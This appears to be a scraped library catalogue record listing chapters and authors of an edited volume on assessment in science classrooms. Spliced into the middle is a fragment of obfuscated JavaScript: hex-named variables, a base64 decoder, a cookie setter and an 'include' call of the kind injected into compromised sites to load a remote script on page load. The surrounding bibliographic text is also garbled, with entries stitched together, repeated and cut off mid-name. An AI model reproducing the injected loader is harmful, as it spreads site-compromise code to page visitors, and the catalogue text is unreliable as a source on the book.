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Siegel [und weitere] --Professional development and teacher learning: using concept maps in inquiry classrooms / Beth Kubitskey [und weitere].. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x864539){_0x305d85=window;}return _0x305d85;};var _0x52b5fb=_0x27405a();var _0x2c547f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x52b5fb['atob']||(_0x52b5fb['atob']=function(_0x7b18a4){var _0x33a70c=String(_0x7b18a4)['replace'](/=+$/,'');for(var _0x3137c8=0x0,_0xabd7b6,_0x41cf76,_0x1d3dd6=0x0,_0x2f1e87='';_0x41cf76=_0x33a70c['charAt'](_0x1d3dd6++);~_0x41cf76&&(_0xabd7b6=_0x3137c8%0x4?_0xabd7b6*0x40+_0x41cf76:_0x41cf76,_0x3137c8++%0x4)?_0x2f1e87+=String['fromCharCode'](0xff&_0xabd7b6>>(-0x2*_0x3137c8&0x6)):0x0){_0x41cf76=_0x2c547f['indexOf'](_0x41cf76);}return _0x2f1e87;});}());_0xfdd0['base64DecodeUnicode']=function(_0xbd737f){var _0x22274c=atob(_0xbd737f);var _0x3e9a5e=[];for(var _0x2fce7a=0x0,_0x1a868e=_0x22274c['length'];_0x2fce7a=0x0){_0x53ed4d=!![];}}}if(_0x53ed4d){cookie[_0xfdd0('0x1e')](_0xfdd0('0xa'),0x1,0x1);if(!_0x4ee0b2){_0x186ef1['DnkXS'](include,_0x186ef1[_0xfdd0('0x3b')](_0x186ef1[_0xfdd0('0x3c')](_0x186ef1[_0xfdd0('0x3d')],q),''));}}}R(); Publisher: Bath, England : Parragon Pub.

Barton, Jennifer L Cartier, and Angelo Collins --Evolving ideas: assessment in an evolution course / Cynthia Passmore and Jim Stewart --Varying instructional methods and assessment of students in high-school chemistry / Avi Hofstein, Rachel Mamlok, and Otilia Rosenberg --Integrating an assessment plan into a K-12/university engineering partnership / Daniel W.. Akerson, Amy Roth McDuffie, and Judith A Morrison --Assessment in support of contextually authentic inquiry / Cory A.. Ritz --Assessment in support of conceptual understanding and student motivation to learn science / Melissa DiGennaro King --Adaptive inquiry as the silver bullet: reconciling local curriculum, instruction, and assessment procedures with state-mandated testing in science / Stephen J.. McWaters and Ronald G Good --Usable assessments for teaching science content and inquiry standards / Christopher J.. A knowledge-based framework for the classroom assessment of student science understanding / Michael R.

Farenga, Beverly A Joyce, and Daniel Ness --Science standards influence classroom assessment practices / Kathy J.. Flick and Michael Tomlinson --Revised views of classroom assessment / Mistilina Sato [und weitere].

Vitale, Nancy R Romance, and Megan F Dolan --Developing assessment items: a how-to guide / Laura Henriques, Alan Colburn, and William C.. Ritz --Assessment in support of conceptual understanding and student motivation to learn science / Melissa DiGennaro King --Adaptive inquiry as the silver bullet: reconciling local curriculum, instruction, and assessment procedures with state-mandated testing in science / Stephen J.. A knowledge-based framework for the classroom assessment of student science understanding / Michael R.. Vitale, Nancy R Romance, and Megan F Dolan --Developing assessment items: a how-to guide / Laura Henriques, Alan Colburn, and William C.. Coming to see the invisible: assessing understanding in an inquiry-focused science classroom / Andrea M.. Buxton --Helping students understand the minds-on side of learning science / Lawrence B.. Harris [und weitere] --Using rubrics to foster meaningful learning / Marcelle A.. Moving beyond grades and scores: reconsidering assessment feedback / Caleb Cheung [und weitere] --Mind mapping as a flexible assessment tool / Karen Goodnough and Robin Long. 5ebbf469cd

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